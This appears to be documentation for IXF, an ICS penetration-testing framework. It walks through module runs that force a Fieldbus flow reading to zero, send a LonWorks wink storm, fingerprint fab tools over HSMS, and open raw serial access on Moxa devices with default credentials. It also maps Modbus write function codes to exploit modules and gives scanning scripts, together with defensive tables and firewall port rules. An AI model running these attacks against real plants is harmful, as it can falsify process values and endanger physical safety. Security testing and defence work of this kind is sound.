Description: FOUNDATION Fieldbus H1 is a digital replacement for 4-20mA analog instrumentation, used in oil & gas, chemical, and pharmaceutical plants. H1 operates at 31.25 kbit/s over twisted pair. Access via IXF requires an FF-to-IP HSE linking device (Emerson DeltaV, National Instruments FieldPoint, or Yokogawa).
Security Issues:
- FF H1 has no native authentication or encryption
- Function block parameters (setpoints, alarm limits, cascade outputs) are writable from the HSE backbone
- Subscriber function blocks can be overridden from any HSE host
IXF Example:
ixf > use exploits/protocols/foundation_fieldbus/ff_block_write
ixf > set target 10.0.0.5 # HSE linking device IP
ixf > set tag "FI-1001/AI1/PV"
ixf > run
[SIMULATE MODE — no packets sent]
Step 1: Connect to HSE linking device (TCP 1089)
Step 2: Send FF HSE SetValue PDU for function block FI-1001 AI1
Step 3: Write PV value override to 0.0 (process variable forced)
Step 4: Flow indicator FI-1001 now reads 0 regardless of actual flow
Description: LonWorks (Local Operating Network) is used in building automation (street lighting, HVAC, metering) and some transportation systems. LonWorks uses the LonTalk protocol over twisted pair, power line, or IP (LonWorks/IP, port 1628 UDP). The LonWorks Wink command causes devices to flash their LED for identification — an adversary can use this to enumerate all devices or to disrupt operations via a rapid wink storm.
IXF Example:
ixf > use exploits/protocols/lonworks/lon_wink
ixf > set target 192.168.50.1 # LonWorks/IP router
ixf > run
[SIMULATE MODE — no packets sent]
Step 1: Send LonWorks/IP UDP datagram to 192.168.50.1:1628
Step 2: Encode LonTalk Wink command (Network Variable output)
Step 3: All LonWorks devices on this channel respond/flash
Step 4: Build device inventory from responses
[i] More impactful: write Network Variable output to control value
Description: SECS/GEM is mandatory in semiconductor fab equipment communications (SEMI E5/E30/E37). All modern fab tools (CMP, litho, CVD, etch, implant) support HSMS over TCP/5000. S1F1 (Are You There) / S1F2 (On-Line Data) reveals complete equipment identity. S2F41 (Host Command Send) allows triggering equipment state transitions.
IXF Example:
ixf > use scanners/ics/hsms_scanner
ixf > set target 10.100.1.0/24
ixf > run
[SIMULATE MODE — no packets sent]
Step 1: Connect TCP to each host:5000
Step 2: Send HSMS Select.req (session selection)
Step 3: Send S1F1 (Are You There)
Step 4: Parse S1F2 response:
Equipment Model : Applied Materials Producer CVD
Software Version : 3.4.0.2201
Equipment ID : TOOL-CVD-01
Supported Streams: S1, S2, S5, S6, S9, S10
[i] S2F41 Host Command: initiate recipe download, state change, or alarm acknowledge
[i] MITRE: T0888, T0855 (Unauthorized Command)
Description: Moxa NPort, Lantronix UDS, and similar serial-to-Ethernet devices convert RS-232/RS-485 serial OT devices (PLCs, RTUs, meters) to Ethernet-accessible TCP/IP. These are extremely common in legacy OT environments. Many NPort devices have default credentials (admin with no password), an unauthenticated web console, and expose raw serial access on TCP/4001.
IXF Example:
ixf > use scanners/ics/serial_to_ethernet_scanner
ixf > set target 192.168.1.0/24
ixf > run
[SIMULATE MODE — no packets sent]
Step 1: Connect to port 4001 (Moxa NPort default serial port 1)
Step 2: Send Moxa discovery broadcast (UDP 4800)
Step 3: Parse discovery response:
Device Name: NPort 5410
MAC: 00:90:E8:xx:xx:xx
Firmware: 1.7
Serial Ports: 4 (all mapped to TCP)
Step 4: TCP/4001 provides raw serial access to connected RS-232/RS-485 devices
[i] Connect to port 4001, then send Modbus RTU or DNP3 serial frames directly
[i] Web console typically on port 80 — test for default admin/(blank)
| Sector | Primary Protocols | Secondary Protocols |
|---|---|---|
| Power generation (thermal, gas, nuclear) | IEC 60870-5-104, IEC 61850, DNP3, Modbus | OPC UA, PROFIBUS, FOUNDATION Fieldbus |
| Power distribution (grid, substations) | IEC 61850 GOOSE/MMS, DNP3, IEC 60870-5-101/104 | Modbus, SEL (proprietary) |
| Oil and gas (upstream) | Modbus RTU, HART, FOUNDATION Fieldbus H1 | OPC DA, OPC UA |
| Oil and gas (downstream refinery) | PROFIBUS, FOUNDATION Fieldbus, Modbus | EtherNet/IP, OPC UA |
| Chemical plants | HART, FOUNDATION Fieldbus, Modbus RTU | PROFIBUS PA, OPC DA |
| Water and wastewater | Modbus TCP, DNP3, IEC 60870-5-104 | BACnet, OPC UA |
| Manufacturing (discrete) | EtherNet/IP (CIP), PROFINET, DeviceNet | Modbus TCP, OPC UA |
| Manufacturing (process) | PROFIBUS, Modbus, HART, CC-Link | OPC UA, EtherNet/IP |
| Automotive | EtherNet/IP, PROFINET, EtherCAT, DeviceNet | PROFIBUS, CANopen |
| Semiconductor fab | SECS/GEM (HSMS), OPC UA | Modbus, Ethernet |
| Building automation | BACnet, KNX, LonWorks, Modbus | OPC UA, MQTT |
| Maritime | NMEA 2000, Modbus TCP, OPC UA | DNP3, HART |
| Railways | IEC 61375, Modbus, OPC UA | CAN, LON |
| Airport (airfield lighting) | DALI, Modbus, BACnet | Ethernet/IP |
| Data center cooling | BACnet, Modbus, LonWorks | OPC UA |
The following protocols are planned for future IXF versions:
| Protocol | Status | Planned Version |
|---|---|---|
| WirelessHART (IEC 62591) | Planned | v1.1 |
| ISA-100.11a (IEC 62734) | Planned | v1.1 |
| NMEA 2000 (maritime) | Planned | v1.2 |
| IEC 61375 (railway) | Planned | v1.2 |
| M-Bus (EU smart metering) | Planned | v1.1 |
| DLMS/COSEM (smart meters) | Planned | v1.2 |
| DALI (lighting) | Planned | v1.2 |
| OPC UA PubSub | In progress | v1.1 |
| DDS (real-time robotics) | Research | v1.3 |
To request protocol coverage, open an issue on GitHub: https://github.com/mrhenrike/IndustrialXPL-Forge/issues
Understanding which OT protocols have built-in security controls vs. those that require compensating controls:
| Protocol | Authentication | Encryption | Integrity | Safety Profile | Security Standard |
|---|---|---|---|---|---|
| Modbus TCP | None | None | None | None | No security (by design) |
| Modbus RTU | None | None | CRC only | None | No security |
| Siemens S7comm | None (v1/v2/v3) | None | Partial | None | No auth — known issue |
| Siemens S7comm+ | TLS (cert-based) | TLS 1.2+ | TLS HMAC | Partial | CVE-2021-22681 (hardcoded key) |
| EtherNet/IP / CIP | Optional (FactoryTalk) | Optional TLS | Optional | CIP Safety | ODVA security extensions |
| PROFINET DCP | None | None | None | None | Relies on L2 isolation |
| DNP3 | Optional SAv5 | None | HMAC (SAv5) | None | IEEE 1815 Annex D |
| BACnet/IP | None (base) | Optional TLS | None | None | ASHRAE 135-2020 security |
| IEC 60870-5-104 | None | None | None | None | Requires IEC 62351 overlay |
| IEC 61850 MMS | Certificate (62351-3) | TLS | TLS | GooseSec (62351-6) | IEC 62351 series |
| IEC 61850 GOOSE | Optional HMAC (62351-6) | None | HMAC | Yes | IEC 62351-6 |
| OPC UA | Certificate + username | TLS | TLS | Full | OPC UA Security (IEC 62541) |
| OPC DA (DCOM) | Windows NTLM/Kerberos | Optional | NTLM | None | Windows AD security |
| MQTT | Optional username/TLS | Optional TLS | TLS/HMAC | None | MQTT v5 enhanced auth |
| SNMP v1/v2c | Community string | None | None | None | Deprecated — use SNMPv3 |
| SNMP v3 | Username + HMAC | DES/AES | HMAC-MD5/SHA | None | RFC 3410/3412 |
| CANopen | None | None | None | None | Physical layer security only |
| EtherCAT | None | None | None | FSoE (safety) | Physical: L2 isolated |
| HART / HART-IP | None (HART) / TLS (IP) | None / TLS | None / TLS | None | HART-IP TLS optional |
Key takeaways:
- Most legacy OT protocols (Modbus, S7comm, DNP3, BACnet) have NO built-in authentication
- Security must be implemented at network layer (firewalls, VLANs, monitoring)
- OPC UA is the most secure OT protocol with full TLS + certificate authentication
- IEC 61850 with IEC 62351 extensions is the substation security standard
Complete port list for ICS firewall policy:
# ICS protocol ports — firewall rule reference
# ALLOW (inbound to OT, only from approved sources)
tcp 502 Modbus TCP # Source: SCADA servers only
tcp 102 S7comm, IEC 61850 MMS # Source: Engineering WS only
tcp 44818 EtherNet/IP # Source: SCADA servers only
udp 47808 BACnet/IP # Source: BAS servers only
tcp 2404 IEC 60870-5-104 # Source: SCADA masters only
tcp 4840 OPC UA # Source: OPC UA clients only
udp 9600 Omron FINS # Source: SCADA servers only
tcp 20256 Unitronics PCOM # Source: Engineering WS only
tcp 48898 Beckhoff ADS # Source: Engineering WS only
tcp 20000 DNP3 # Source: DNP3 masters only
udp 20000 DNP3 UDP # Source: DNP3 masters only
tcp 1883 MQTT # Source: IIoT brokers only (if used)
udp 161 SNMP v3 only # Source: NMS server only
tcp 5450 OSIsoft PI Server # Source: Historian clients
tcp 5457,5461 AVEVA Historian # Source: Historian clients
tcp 4911 Tridium Niagara # Source: Engineering WS only
tcp 8088 Inductive Automation # Source: SCADA clients only
tcp 1502 Triconex (SIS) # Source: SIS engineering only — HIGH RISK if open
# DENY (block all from untrusted sources)
tcp 23 Telnet # Block entirely — use SSH only
tcp 21 FTP # Block entirely — use SFTP
tcp 80 HTTP (OT mgmt) # Block from internet; internal only
tcp 135 DCOM (OPC DA) # Block from untrusted — allow WS only
tcp 3389 RDP # Block — use jump server
udp 53 DNS from OT # Redirect to internal DNS only
tcp 445 SMB # Block outbound from OT (NotPetya prevention)
#!/usr/bin/env bash # ics-protocol-discovery.sh # Discovers ICS protocols on a target subnet TARGET="${1:-192.168.1.0/24}" echo "=== ICS Protocol Discovery: $TARGET ===" # Run IXF multi-protocol discovery ixf \ use scanners/ics/modbus_detect set target "$TARGET" check \ use scanners/ics/s7_comm_scanner set target "$TARGET" check \ use scanners/ics/enip_scanner set target "$TARGET" check \ use scanners/ics/opcua_scanner set target "$TARGET" check \ use scanners/ics/dnp3_scanner set target "$TARGET" check \ use scanners/ics/bacnet_scanner set target "$TARGET" check \ 2>&1 | tee protocol_discovery.txt # Generate report ixf report json 2>&1 echo "=== Discovery complete. Results: protocol_discovery.txt ==="
# Comprehensive ICS protocol scan nmap -sV -p 102,502,44818,47808,2404,4840,9600,20256,48898,20000,1883,161,1502,4911 \ --script ics-sweep,ics-enumerate,ics-firmware-version \ --open \ 192.168.1.0/24 # Output to XML for IXF integration nmap -sV -p 102,502,44818,47808,2404,4840 \ --script ics-sweep \ -oX ics_discovery.xml \ 192.168.1.0/24
Which vendors use which protocols (common combinations):
| Vendor | Primary Protocol | Secondary | Legacy |
|---|---|---|---|
| Siemens | S7comm+, PROFINET | OPC UA | S7comm |
| Rockwell | EtherNet/IP (CIP) | PCCC, ControlNet | DeviceNet |
| Schneider | Modbus TCP | EtherNet/IP | Uni-Telway |
| ABB | Foundation Fieldbus | OPC UA | Profibus |
| Honeywell | OPC DA/UA | Modbus | Enraf HART |
| Emerson | FOUNDATION FF | OPC UA | Modbus RTU |
| Yokogawa | Vnet/IP, OPC UA | FOUNDATION FF | BRAIN |
| GE/Vernova | OPC UA | Modbus | DNP3 |
| Omron | EtherNet/IP (CIP) | FINS/UDP | DeviceNet |
| Mitsubishi | CC-Link IE | Modbus | CC-Link |
| Beckhoff | EtherCAT, ADS | OPC UA | PROFIBUS |
| WAGO | PROFIBUS, Modbus | OPC UA | Interbus |
| Pilz | PROFIsafe | Modbus | ASi |
| Phoenix Contact | PROFINET | EtherNet/IP | INTERBUS |
| Unitronics | PCOM | Modbus | Serial |
| Tridium | BACnet/IP | Modbus | LonWorks |
Modbus TCP (port 502) is the most widely exploited ICS protocol because:
- No authentication — any device can send any command
- No encryption — all data in cleartext (ARP/MITM trivial)
- No authorization — read/write are equally accessible to all clients
- Broadcast capable — unit ID 0 reaches all Modbus devices
- No session concept — stateless; no login/logout
| Function Code | Name | Attack | IXF Module |
|---|---|---|---|
| FC01 | Read Coils | Status reconnaissance | exploits/protocols/modbus/modbus_coil_scan |
| FC02 | Read Discrete Inputs | I/O reconnaissance | exploits/protocols/modbus/modbus_discrete_scan |
| FC03 | Read Holding Registers | Setpoint exfiltration | exploits/protocols/modbus/modbus_register_read |
| FC04 | Read Input Registers | Sensor value exfiltration | exploits/protocols/modbus/modbus_input_read |
| FC05 | Write Single Coil | Output manipulation | exploits/protocols/modbus/modbus_coil_write |
| FC06 | Write Single Register | Setpoint manipulation | exploits/protocols/modbus/modbus_single_register_write |
| FC15 | Write Multiple Coils | Mass output manipulation | exploits/protocols/modbus/modbus_multi_coil_write |
| FC16 | Write Multiple Registers | Mass setpoint attack | exploits/protocols/modbus/modbus_multi_register_write |
| FC43 | MEI/Read Device ID | Vendor fingerprinting | scanners/ics/modbus_detect |
Since Modbus has no built-in security, compensating controls are required:
- Network segmentation — restrict port 502 access to SCADA servers only
- Modbus firewall (Modbus-aware DPI) — filter by unit ID, FC, register range
- Unidirectional gateways — data diode for historian reads
- IDS/NDR (Claroty/Nozomi) — baseline normal Modbus patterns; alert on deviations
- Encrypted tunnel (Modbus over TLS/VPN) — for remote access
- OPC UA migration — replace Modbus TCP with OPC UA (authentication + encryption)
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